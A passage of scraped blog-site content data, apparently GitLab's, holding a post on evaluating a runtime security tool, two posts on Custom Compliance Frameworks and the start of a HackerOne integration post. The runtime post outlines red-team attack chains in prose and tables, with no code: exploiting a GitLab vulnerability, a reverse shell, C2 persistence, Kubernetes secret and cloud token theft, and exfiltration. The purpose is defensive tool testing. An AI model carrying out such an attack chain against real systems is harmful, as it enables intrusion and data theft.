detail, leaving critical gaps in threat detection, incident response, and forensic analysis. Our evaluation meticulously examined each critical stage from initial access to lateral movement and data exfiltration.\n\nWhile we won't be naming the specific vendor in this post, we want to share our detailed methodology and key learnings, providing a blueprint you can adapt for your own security tool evaluations.\n\n## Why are runtime security tools necessary?\n\nWithout runtime security tools, detecting “suspicious activities” and understanding “what actually happened” during an attack can become extremely challenging.\n\n### Limitations of cloud audit logs\n\n- **Lack of runtime details**  \n  Cloud audit logs primarily record operations and data access within the cloud. However, they do not capture runtime-level activities on systems such as Kubernetes servers – overlooking fine-grained command executions, process behaviors, and transient network activities.  \n\n- **Gaps in investigation and forensics**  \n    In Kubernetes environments, the absence of continuous, real-time logging can lead to the loss of critical activity records once a container terminates.\n\nAlthough well-known open-source runtime security tools are available, we decided to evaluate a commercial product to assess additional capabilities and enterprise-level support through attack simulation testing.\n\n### The role and purpose of runtime security tools\n\nRuntime security tools address these cloud audit log limitations by continuously monitoring systems in real time, offering the following functionalities:\n\n- **Threat detection**  \n  They monitor command executions, system calls, and network events in real-time to instantly detect abnormal behaviors, which enables the security team to respond rapidly. While some public cloud providers now offer limited runtime monitoring capabilities, these native solutions typically lack the depth and comprehensive coverage of dedicated security tools.  \n\n- **Incident response**  \n  By maintaining detailed chronological records of system activities, these tools provide security teams with the evidence needed to reconstruct attack timelines, determine the full scope of compromise, and conduct thorough forensic investigations after an incident occurs.  \n\n- **Scalability in investigations**  \n  Unlike traditional endpoint-by-endpoint forensic analysis, runtime security tools allow teams to collect, store, and analyze data centrally across the entire environment. This enables the efficient investigation of incidents without manually correlating disparate data sources.  \n\n(**Note:** Products that also offer container information or server vulnerability monitoring are outside the scope of this discussion.)\n\n## Key evaluation points\n\nOur primary objective in evaluating a runtime security tool was to determine its effectiveness in real-world security investigations. While evaluations often focus on the volume of detections or overall coverage, in actual operations, an overload of false positives – or tens of alerts for a single attack chain – can paralyze incident response teams. Therefore, our in-depth investigation centered on whether the tool could be used to support security operations with understanding and responding to actual attacks.\n\n- **Detection capability**  \n\n  - **Built-in rule**  \n    We assessed whether the built-in rule sets could effectively detect a variety of attack techniques and provide the necessary detail for accurate detection.\n\n  - **Custom detection capabilities**  \n    We evaluated the ease with which additional rules could be integrated and considered the quality of telemetry data delivered by the product, which enabled us to build our own monitoring solutions leveraging our unique understanding of our environment.\n\n  - **Alert quality**  \n    We also verified the rate of false positives. We confirmed that it effectively focuses on genuine security threats requiring action while minimizing noise that could cause alert fatigue.\n\n- **Incident response**  \n\n  - **Richness of logs**  \n    We evaluated whether the logs capture sufficient details – including executed commands, network connections, DNS queries, and process information – to fully reconstruct the incident. The ability to piece together the entire attack scenario and determine the full impact is crucial during incident response.  \n\n  - **Log searchability**  \n    We assessed how effectively the tool allowed us to search, filter, and correlate events across multiple systems. The ability to quickly query massive volumes of data is essential for timely investigations during security incidents. \n\n## Evaluation process\n\nWe divided our evaluation process into four major phases:\n\n1. **Development of attack scenarios**  \n   We designed scenarios that mimicked real-world attack flows. These scenarios, developed in collaboration with our Red Team, included the following elements:  \n   - attacks exploiting GitLab-specific vulnerabilities (e.g., CVE-2021-22205)  \n   - attacks leveraging the compromise of developer laptops  \n   - detailed step-by-step attack procedures  \n2. **Infrastructure setup**  \n   We deployed two parallel environments:  \n   - Kubernetes environment  \n   - Virtual machine (VM) environment \n\n   We installed an older version of GitLab to test known vulnerabilities and carried out similar evaluation flows in both the Kubernetes and VM environments.\n\n3. **Execution of attacks**  \n   We executed the attack flow for each scenario and meticulously recorded the timeline – from initial access to lateral movement and data exfiltration.  \n\n4. **Analysis of results**  \n   We conducted a comprehensive evaluation of detection capabilities, log richness, and areas for improvement, clearly outlining the strengths and weaknesses of the tools.\n\n### Attack scenarios\n\n**Scenario 1: Exploitation of a known GitLab vulnerability**\n\n![Scenario 1: Exploitation of a known GitLab vulnerability](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097560/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097560795.png)\n\n- **Attack flow**  \n  1. **Initial access**  \n     We simulated an attack by exploiting CVE-2021-22205, a known GitLab vulnerability that allows remote code execution. This granted us unauthorized access to the target system.  \n  2. **Command execution**  \n     After gaining access, we executed a reverse shell to interact remotely with the compromised machine and take control.  \n  3. **Deployment of a C2 agent**  \n     We installed a Command and Control (C2) agent to evaluate persistence techniques, enabling us to execute further commands and manage the system remotely.  \n  4. **Lateral movement**  \n     We then moved laterally within the environment, accessing Kubernetes API secrets and PostgreSQL databases.  \n  5. **Data exfiltration**  \n     We exfiltrated sensitive data via a dedicated C2 channel.\n\nThe following table summarizes the attack techniques used at each phase:\n\n| Initial access | Command and control | Enumeration | Credential access | Lateral movement | Collection | Exfiltration |\n| :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n| Exploit GitLab application using known RCE vulnerability | Execute known reverse shell command | Harvesting info on the box | Get environment variables | Get secret from Kubernetes API | Get data from Cloud Storage | Exfiltration over C2 channel |\n|  | Install post-exploitation C2 agent |  | Get K8s token | Access to database | DNS exfiltration |  |\n|  | SOCKS proxy |  | Get cloud token via Cloud metadata server |  |  |  |\n\n\u003Cbr>\u003C/br>\n\n**Scenario 2: Compromise of a developer’s laptop**\n\n![Scenario 2: Compromise of a developer’s laptop](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097561/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097560796.png)\n\n- **Attack flow**  \n  1. **Initial compromise**   \n     We simulated an attacker compromising a developer’s laptop and abusing legitimate credentials to gain unauthorized access to internal resources.  \n  2. **Privilege escalation**  \n     Using the compromised credentials, we escalated privileges within the Kubernetes environment. \n  3. **Container manipulation**  \n     We deployed a privileged container to extract sensitive information.  \n  4. **Data exfiltration and persistence**  \n     We exfiltrated sensitive data while maintaining persistent access.\n\n      The following table summarizes the attack techniques used at each phase:\n\n| Initial access | Execution | Privilege escalation | Credential access | Lateral movement | Exfiltration |\n| :---- | :---- | :---- | :---- | :---- | :---- |\n| Valid account (kubectl) | Create a new container | Create a privileged container | Get K8s secrets via privilege of the node | Enter a container in the same node | Upload credential data to the attacker’s server |\n|  |  |  | Get an environment variable in the containers via `crictl` command on the node |  |  |\n\n\u003Cbr>\u003C/br>\n\n### Execution of the attacks\nDuring the execution of the attack scenarios, we followed these processes to obtain detailed records:\n\n- **Verification of detections:** We confirmed whether each attack command was detected and if the key points of each scenario were properly flagged.\n\n- **Timeline recording:** Every event was logged in sequence to assess how well command executions and network communications were captured.\n\n- **Scoring and analysis:** We scored each event based on detection effectiveness to quantitatively evaluate the tool’s performance.\n\n## What we learned\n\n### Don't overestimate – test commercial products yourself\n\n- **Identifying and addressing detection gaps (collaboration with vendors)**  \n  Our evaluation revealed that several critical scenarios and events were not detected or not logged. Consequently, we held meetings with the vendor and submitted multiple improvement requests. As a result, the vendor enhanced the product by adding new features and improving detection capabilities, with many issues identified during our evaluation subsequently addressed.  \n- **Understanding the limitations**  \n  Many modern runtime security tools use eBPF to monitor Linux system calls for detection. However, because commands executed within a C2 framework do not generate new processes, tracing these attack events proved challenging.  \n\n- **Recognizing tool boundaries**  \n  Our findings highlighted that, during incident response, relying solely on runtime security tools is insufficient. It is essential to combine them with other logs, such as Kubernetes audit logs and cloud logs, to gain a comprehensive view.\n\n### The importance of continuous runtime event logging in Kubernetes\n\nIn Kubernetes environments, there is a risk of losing forensic data when containers terminate, making continuous logging indispensable. Our evaluation confirmed that establishing a scalable, persistent logging infrastructure is crucial. Without proper runtime security tools, a significant amount of critical information could be lost post-attack.\n\n## Summary\n\nWe do not simply install security tools – we evaluate their utility to help ensure that our customers can safely use GitLab.com. Thorough product assessments like the one outlined above not only reveal unique use cases and areas for improvement that vendors might overlooks, but also provide valuable insights that benefit both the vendor and internal teams in organizing how the tool is best utilized.\n",[14,776,675],{"slug":841,"featured":6,"template":677},"our-step-by-step-guide-to-evaluating-runtime-security-tools","content:en-us:blog:our-step-by-step-guide-to-evaluating-runtime-security-tools.yml","Our Step By Step Guide To Evaluating Runtime Security Tools","en-us/blog/our-step-by-step-guide-to-evaluating-runtime-security-tools.yml","en-us/blog/our-step-by-step-guide-to-evaluating-runtime-security-tools",{"_path":847,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":848,"content":854,"config":860,"_id":862,"_type":16,"title":863,"_source":17,"_file":864,"_stem":865,"_extension":20},"/en-us/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"title":849,"description":850,"ogTitle":849,"ogDescription":850,"noIndex":6,"ogImage":851,"ogUrl":852,"ogSiteName":767,"ogType":768,"canonicalUrls":852,"schema":853},"How to use GitLab's Custom Compliance Frameworks in your DevSecOps environment","Explore how new frameworks, along with more than 50 out-of-the-box controls, transform regulatory requirements from burdensome checkboxes to integrated, automated workflow components.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097104/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097104092.png","https://about.gitlab.com/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab's Custom Compliance Frameworks in your DevSecOps environment\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-30\",\n      }",{"title":849,"description":850,"authors":855,"heroImage":851,"date":857,"body":858,"category":14,"tags":859},[856],"Fernando Diaz","2025-04-30","Compliance isn't just a checkbox — it's a critical business function that affects everything from operational risk to customer trust. For development teams, balancing compliance requirements with velocity can be particularly challenging. GitLab's [Custom Compliance Frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/) offer a powerful way to integrate compliance verification directly into your development workflow. In this article you'll learn what they are and how to use them for maximum efficiecy.\n\n## What are GitLab Custom Compliance Frameworks?\n\nGitLab Custom Compliance Frameworks allow organizations to define, implement, and enforce compliance standards directly within their GitLab instance. This feature extends GitLab's built-in compliance capabilities by enabling teams to create customized frameworks that align with specific regulatory requirements, internal policies, or industry standards.\n\nCustom Compliance Frameworks have the following benefits:\n* Reduce manual tracking  \n* Accelerate audit readiness  \n* Enforce compliance controls natively\n\n![Compliance center screenshot with frameworks listed](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097114254.png)\n\nWith this release, more than 50 out-of-the-box (OOTB) controls are provided (with more coming soon) that can be tailored to your organization's unique compliance needs, including HIPAA in healthcare, GDPR for data privacy, SOC2 for service organizations, or industry-specific regulations. Some examples of OOTB controls include:\n\n* Separation of duties (e.g., at least two approvers and author approved merge request)  \n* Security scanners running (e.g., [SAST](https://docs.gitlab.com/user/application_security/sast/) running and [Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/) running)  \n* Authentication/authorization (e.g., project visibility not public and AuthSSO required)  \n* Application configuration (e.g., status checks required and Terraform required)\n\nAdditionally, you can configure external environmental controls using the GitLab API to check the status and details of an external environment.\n\n## Creating a Custom Compliance Framework from scratch\n\nNow that we understand the value, let's explore how to implement Custom Compliance Frameworks in your GitLab environment. We will use this demo application and you can follow along in this video. \n\n**Note:** A GitLab Ultimate subscription is required.\n\n\u003C!-- TODO: EMBED_YT_VIDEO -->\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/bSwwv5XeMdQ?si=unDwCltF4vTHT4mB\" title=\"Adhering to compliance requirements with built-in compliance controls\n\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Step 1: Define your compliance requirements**\n\nBefore building your custom framework, you need to clearly define your compliance requirements:\n\n1. **Identify applicable regulations:** Determine which regulations and standards apply to your organization (e.g., GDPR, PCI DSS, and HIPAA). \n2. **Map requirements to controls:** Break down each regulation into specific, actionable controls.  \n3. **Prioritize requirements:** Focus on high-risk areas and requirements with the greatest impact.\n\n**Step 2: Create your Custom Compliance Framework**\n\nTo create a custom compliance framework in GitLab:\n\n1. Navigate to your GitLab group's **Secure > Compliance Center** section.  \n2. Press the **New framework** button.  \n3. Select **Create blank framework**.\n\n![Create a custom compliance framework screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097114255.png)\n\n4. Provide a name, description, and color for your framework.\n\n![New compliance framework screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097114257.png)\n\n5. Add a requirement to the framework:  \n   a. Scroll down to the **Requirements** tab.\n\n   b. Press the **New requirement** button.\n\n   c. Provide a name and description.  \n   d. Under the **Controls** section, select **Choose a GitLab control**.  \n   e. Select a control from the list (e.g., at least two approvals, SAST running).  \n   f. Press the **Create requirement** button.\n\n![Create new requirement button](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097114258.png)\n\n6. Press the **Create framework** button.\n\nThe framework will be created as specified and will now be available to add to projects. Additionally, compliance frameworks can be [imported](http://TODO) using a JSON with the appropriate schema.\n\n**Step 3: Apply the framework to projects**\n\nOnce your framework is created:\n1. From the Compliance Center, select the **Projects** tab.  \n2. Use the search bar to **Search** or **Filter** results.  \n3. Select the project(s) you wish to apply your framework to.  \n4. Press the **Choose one bulk action** button.  \n5. Select **Apply frameworks to selected projects**.  \n6. Press the **Select frameworks** button.  \n7. Select your framework(s) from the list.  \n8. Press the **Apply** button.\n\n![Compliance center screen with SOC 2 framework dropdown](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097114260.png)\n\nThe framework will now be applied to the project, making its requirements visible and trackable.\n\n**Step 4: Monitor and report on compliance**\n\nWith your framework in place, you can now:\n\n1. Use the **Compliance Center** to track compliance status across projects including details and suggested fixes for failed controls.\n2. Generate **compliance reports** for audits and stakeholder reviews.  \n3. Set up **compliance alerts** to notify stakeholders of potential compliance issues. \n4. Review **audit events** to overview action taken on compliance settings.\n\n![Compliance Center screen showing SOC2 test framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097114263.png)\n\n## Real-world example: Implement a SOC2 compliance framework\n\nSystem and Organization Controls 2, better known as SOC2, is a rigorous auditing standard developed by the American Institute of Certified Public Accountants that assesses a service organization's controls related to security, availability, processing integrity, confidentiality, and privacy. You can read my [Guide to fulfilling SOC 2 security requirements with GitLab](https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab/) to learn more.\n\nNow, let's review a practical example of using a Custom Compliance Framework to verify SOC2 security compliance, which requires:\n\n* implementation of controls to protect against unauthorized access  \n* establishment of procedures for identifying and mitigating risks  \n* setting up systems for detecting and addressing security incidents\n\n**Disclaimer:** This is only an example showcasing some of the controls possible for adhering to SOC2. Be sure to consult with your security/compliance team before moving any implementation to production.\n\nA Custom Compliance Framework for SOC2 will look as follows using some GitLab OOTB controls:\n\n* **Name:** SOC2 Security Requirements  \n* **Description:** Adds the security requirements for SOC2 framework compliance  \n* **Requirements:**  \n  * **Implement controls to protect against unauthorized access**  \n    * Auth SSO enabled  \n    * CI/CD job token scope enabled  \n    * Require MFA at org level  \n  * **Establish procedures for identifying and mitigating risks**  \n    * At least two approvals  \n    * Author approved merge request  \n    * Committers approved merge request  \n    * Default branch protected  \n  * **Setting up systems for detecting and addressing security incidents**  \n    * Dependency Scanning running  \n    * SAST running  \n    * DAST running\n\nWhen applied to your project(s), this framework allows you to oversee if/and when they fall out of compliance and what can be done to bring them back into compliance. Note that you can create and apply multiple compliance frameworks to a project(s). For example, you can have one for SOC2 process integrity requirements.\n\n## Implement security policies to ensure compliance requirements are met\n\nAlthough not required, security policies can be applied to projects containing a Custom Compliance Framework. This allows you to assure that certain compliance criteria will be enforced via security policies. For example, you can force security scanners to run on projects that contain a Custom Compliance Framework requiring security scanning. \n\nGitLab provides various different security policies:\n\n* [Scan execution policy](https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/): Enforces security scans, either as part of the pipeline or on a specified schedule.  \n* [Merge request approval policy](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/): Enforces project-level settings and approval rules based on scan results.  \n* [Pipeline execution policy](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/): Enforces CI/CD jobs as part of project pipelines. \n* [Vulnerability management policy](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/): Automatically resolves vulnerabilities that are no longer detected in the default branch.\n\nLet’s go ahead and force a SAST scanner to run in order to automatically adhere to any requirements that require SAST scanning. To create a security policy and apply it to a project with a particular framework:\n\n1. Navigate to a project that has a Custom Compliance Framework requiring **SAST scanning**. \n2. In the sidebar, select **Secure > Policies**.  \n3. Press the **New policy** button.  \n4. Under **Scan execution policy**, press the **Select policy** button. \n5. Fill in the **Name** and **Description**. \n6. Under **Actions**, select **SAST** as the scan to run.\n\n![Actions screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097114264.png)\n\n7. Under **Conditions**, select the pipeline to be triggered when a pipeline runs for all branches.\n\n![Conditions screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097114265.png)\n\n8. Press the **Configure with a merge request** button.  \n9. An MR is now created in a separate project containing all the security policies scoped to this project.\n10. Press the **Merge** button.\n\nNow SAST will run for every branch, assuring you are compliant in that area. Be sure to review all the different types of security policies and see how they can suit your requirements.\n\n## 5 best practices to follow\n\nTo maximize the value of Custom Compliance Frameworks:\n\n1. **Start small:** Begin with one critical regulation or standard before expanding.  \n2. **Involve key stakeholders:** Include compliance, security, and development teams in framework creation.  \n3. **Automate where possible:** Use GitLab CI/CD to automate compliance checks.  \n4. **Document thoroughly:** Maintain clear documentation of how your framework maps to regulatory requirements.  \n5. **Review regularly:** Update your frameworks as regulations evolve or new requirements emerge.\n\n## Get started today\n\nGitLab Custom Compliance Frameworks represent a significant advancement in DevSecOps by bringing compliance directly into the development workflow. By implementing custom frameworks, organizations can reduce compliance overhead, improve risk management, and accelerate development cycles while maintaining robust compliance with regulatory requirements.\n\nThe ability to define and enforce Custom Compliance Frameworks gives teams the flexibility they need to address their specific regulatory landscape while providing the structure necessary to ensure consistent compliance practices across the organization.\n\nAs regulatory requirements continue to grow in complexity, tools like GitLab Custom Compliance Frameworks will become increasingly essential for organizations looking to balance compliance requirements with development velocity in a sustainable way.\n\n> To try Custom Compliance Frameworks today, sign up for your [free, 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n\n## Learn more\n\nVisit these resources to learn more about Custom Compliance Frameworks and how they can benefit your organization:\n\n* [Custom Compliance Frameworks documentation](https://docs.gitlab.com/user/compliance/compliance_center/compliance_status_report/)  \n* [Custom Compliance Frameworks epic](https://gitlab.com/groups/gitlab-org/-/epics/13295)  \n* [Security Policies documentation](https://docs.gitlab.com/user/application_security/policies/)  \n* [GitLab Security and Compliance solutions](https://about.gitlab.com/solutions/security-compliance/)",[14,696,479,715,695],{"slug":861,"featured":92,"template":677},"how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops","content:en-us:blog:how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","How To Use Gitlabs Custom Compliance Frameworks In Your Devsecops","en-us/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","en-us/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"_path":867,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":868,"content":874,"config":880,"_id":882,"_type":16,"title":883,"_source":17,"_file":884,"_stem":885,"_extension":20},"/en-us/blog/introducing-custom-compliance-frameworks-in-gitlab",{"title":869,"description":870,"ogTitle":869,"ogDescription":870,"noIndex":6,"ogImage":871,"ogUrl":872,"ogSiteName":767,"ogType":768,"canonicalUrls":872,"schema":873},"Introducing Custom Compliance Frameworks in GitLab","Reduce manual tracking, accelerate audit readiness, and enforce controls faster natively within GitLab DevSecOps workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099268/Blog/Hero%20Images/Blog/Hero%20Images/GitLab_Blog_Header_v4_YBzFAgt2EAkqQfqxNFEgj_1750099267940.svg","https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Custom Compliance Frameworks in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ian Khor\"},{\"@type\":\"Person\",\"name\":\"Salman Ladha\"}],\n        \"datePublished\": \"2025-04-17\",\n      }",{"title":869,"description":870,"authors":875,"heroImage":871,"date":877,"body":878,"category":14,"tags":879},[876,710],"Ian Khor","2025-04-17","Maintaining multiple compliance frameworks in fast-moving DevSecOps pipelines is more difficult than ever. As standards evolve independently and become more complex, organizations are buried in overlapping requirements and manual processes – draining developer time and slowing audits. \n\nTo solve this, GitLab is introducing Custom Compliance Frameworks and 50 out-of-the-box (OOTB) controls for a wide variety of compliance standards, including ISO 27001, the [CIS Benchmark](https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance/), and SOC 2.\n\nCustom Compliance Frameworks enable organizations to map multiple, overlapping controls from different standards and regulations into a single, unified framework. This flexibility brings much-needed efficiency, allowing businesses to tailor compliance programs in a way that makes sense for them. As these policies are embedded directly into GitLab’s CI/CD pipelines, compliance is enforced automatically – without disrupting development.\n\nAdditionally, with the OOTB controls, teams can accelerate compliance adoption, eliminating the need for external tools or complex custom configurations. By embedding compliance directly into the software development lifecycle, GitLab provides real-time visibility, automated enforcement, and simplified audit readiness so teams can ship secure, *compliant* software, faster. \n\nCustom Compliance Frameworks and OOTB controls are available now in GitLab Ultimate.\n\n## Mounting compliance pressure\n\nOrganizations must navigate various compliance frameworks to ensure adherence to numerous regulations and provide assurance to their customers. While these frameworks often share common controls, they rarely align. The result is a reality compliance teams know all too well: manual tracking through spreadsheets that breeds chaos, particularly during audit reviews. \n\nDevelopers are pulled into the compliance fray because modern software development is central to satisfying many of these controls. Instead of building and shipping secure software, they find themselves supporting evidence collection and compliance reviews. A Forrester Total Economic Impact™ Study of GitLab Ultimate found that prior to GitLab developers spent up to [80 hours annually on audit and compliance tasks](https://tei.forrester.com/go/GitLab/GitLabUltimate/?lang=en-us#Appendixes); time diverted from writing code and delivering business value.\n\nThis fragmented approach isn’t just inefficient, it’s costly. Compliance-related costs have [surged by 60% over the past five years](https://www.cato.org/sites/cato.org/files/2024-01/research-brief367.pdf), according to the CATO Institute. Without a system that connects compliance enforcement to where software is built, compliance will remain a burdensome afterthought that drives a wedge between developers and security teams. \n\n## Why should you care about Custom Compliance Frameworks\n\nOur customers have asked for greater flexibility when it comes to the tracking and enforcement of compliance within DevSecOps workflows. With this release, we’re happy to empower customers in the following ways: \n\n**Compliance that fits the business, not the other way around**\n\nRegulatory requirements overlap across multiple frameworks causing complexity in tracking and enforcement. Custom Compliance Frameworks allow organizations to create a unified framework that cleanly maps the requirements and controls of multiple standards, reducing manual effort and reliance on costly consultants.\n\n**Faster compliance from setup through to audits**\n\nStart monitoring compliance instantly with OOTB controls aligned with key compliance standards, such as SOC 2, ISO 27001, and CIS Benchmarks. Automated compliance monitoring and evidence collection cuts audit prep from weeks to days, ensuring developers can remain focused on delivering secure software. \n\n**Built-in compliance at the speed of development**\n\nUnlike traditional GRC tools that operate in isolation, GitLab enforces compliance directly in CI/CD pipelines where work happens. This deep integration means compliance validation occurs automatically as code moves through the pipeline, eliminating the traditional friction between development speed and security requirements.\n\nHere is an example of how a custom compliance framework can be created in GitLab:\n\n![custom compliance frameworks - edit requirement screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099291/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099291312.png)\n\n\u003Cbr>\u003C/br>\n\n![custom compliance frameworks - screen showing requirements](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099291/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099291312.png)\n\n## What to know about the Custom Compliance Frameworks rollout\n\nThere are two critical aspects of this release: \n\n- As of GitLab 18.0, Custom Compliance Frameworks will be enabled by default. \n- Starting in GitLab 18.0, we’ve enabled Custom Compliance Frameworks by default. We’ve also removed \"Standards\" from the Compliance Center to simplify the experience. Don’t worry — your existing compliance controls still apply. We’ve converted the GitLab Standard and SOC 2 standards into compliance framework labels and transformed their compliance checks into controls (our new term going forward).\n- Only GitLab Ultimate customers can define requirements, map controls, and enforce compliance frameworks. Premium users can still use compliance labels, but they won’t have access to the full feature set.\n\nTo learn more about Custom Compliance Frameworks, please watch this introduction video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/yfJ0oHCIn-8?si=z_Rt_ikry4RhjEAC\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Shift compliance left with GitLab  \n\nSimilar to security, shifting compliance left means addressing compliance requirements earlier in the software development lifecycle. Since software is central to an organization achieving compliance, embedding controls where software is created is crucial. With GitLab, security and compliance teams can define frameworks, map controls, and automate enforcement directly in CI/CD pipelines. Developers stay focused on shipping features, while compliance teams gain real-time visibility and automated evidence collection to be audit-ready. This unified approach bridges the gap between development and compliance, helping organizations achieve continuous compliance as part of their DevSecOps practice. \n\nAs a result, organizations using GitLab can reduce developer time spent on audit and compliance tasks by 90% and accelerate external audits from several weeks to under one week, according to [Forrester](https://tei.forrester.com/go/GitLab/GitLabUltimate/?lang=en-us#AnalysisOfBenefits). \n\nIf you’re an existing GitLab Ultimate customer and would like to learn more about how Custom Compliance Frameworks can help improve your compliance and security program, [visit our Compliance Center documentation](https://docs.gitlab.com/user/compliance/compliance_center/) where we cover implementation requirements, use cases, and more.\n\n***Note:** ”The Total Economic Impact™ Of GitLab Ultimate” is a commissioned study conducted by Forrester Consulting on behalf of GitLab, October 2024. Results are based on a composite organization representative of interviewed customers.*\n\n## Learn more\n\n- [How to ensure separation of duties and enforce compliance with GitLab](https://about.gitlab.com/blog/ensuring-compliance/)\n- [Meet regulatory standards with GitLab security and compliance](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/)\n- [Guide to fulfilling SOC 2 security requirements with GitLab](https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab/)",[14,695,715,479],{"slug":881,"featured":6,"template":677},"introducing-custom-compliance-frameworks-in-gitlab","content:en-us:blog:introducing-custom-compliance-frameworks-in-gitlab.yml","Introducing Custom Compliance Frameworks In Gitlab","en-us/blog/introducing-custom-compliance-frameworks-in-gitlab.yml","en-us/blog/introducing-custom-compliance-frameworks-in-gitlab",{"_path":887,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":888,"content":894,"config":900,"_id":902,"_type":16,"title":903,"_source":17,"_file":904,"_stem":905,"_extension":20},"/en-us/blog/enhance-application-security-with-gitlab-hackerone",{"title":889,"description":890,"ogTitle":889,"ogDescription":890,"noIndex":6,"ogImage":891,"ogUrl":892,"ogSiteName":767,"ogType":768,"canonicalUrls":892,"schema":893},"Enhance application security with GitLab + HackerOne","Learn about the GitLab + HackerOne partnership and how to easily implement an integration that improves your organization’s application security posture.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097503/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2810%29_5ET24Q6i8ihqrAOkge7a1R_1750097503214.png","https://about.gitlab.com/blog/enhance-application-security-with-gitlab-hackerone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Enhance application security with GitLab + HackerOne\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-03\",\n      }",{"title":889,"description":890,"authors":895,"heroImage":891,"date":896,"body":897,"category":14,"tags":898},[856],"2025-04-03","Security can no longer be an afterthought in the development process. Organizations need robust solutions that integrate security throughout the entire software development lifecycle. This is where the partnership between HackerOne and GitLab creates a compelling combination for modern application development teams.\n\nGitLab, the comprehensive, AI-powered DevSecOps platform, and HackerOne, the leading crowd-sourced security platform, have established a partnership that brings together the best of both worlds: GitLab's streamlined DevSecOps workflow and HackerOne's powerful vulnerability management capabilities.\n\nIn this tutorial, you'll learn how to enhance developer productivity and your security posture by implementing HackerOne's GitLab integration.\n\n## An integration that empowers developers\n\nHackerOne's GitLab integration is remarkably straightforward, yet powerful. When security researchers discover vulnerabilities through HackerOne's platform, these findings are automatically converted into GitLab issues. This creates a seamless workflow where:\n\n* Security researchers identify vulnerabilities via HackerOne's platform  \n* Validated vulnerabilities are automatically converted into GitLab issues  \n* Development teams can address these issues directly within their existing workflow  \n* Resolution status is synchronized between both platforms\n\nYou can start leveraging the benefits of GitLab and HackerOne by using the [integration](https://docs.hackerone.com/en/articles/8571227-gitlab-integration) to track GitLab issues as references on HackerOne. This integration provides bi-directional and seamless data syncing between your HackerOne report and GitLab issues, improving alignment between development and security teams while streamlining security vulnerability processing.\n\nTo configure the GitLab integration to sync information between your HackerOne report and your Gitlab issue, follow the instructions provided in [HackerOne's GitLab integration documentation](https://docs.hackerone.com/en/articles/10394699-gitlab-setup), which includes:\n\n1. [Setting up an OAuth 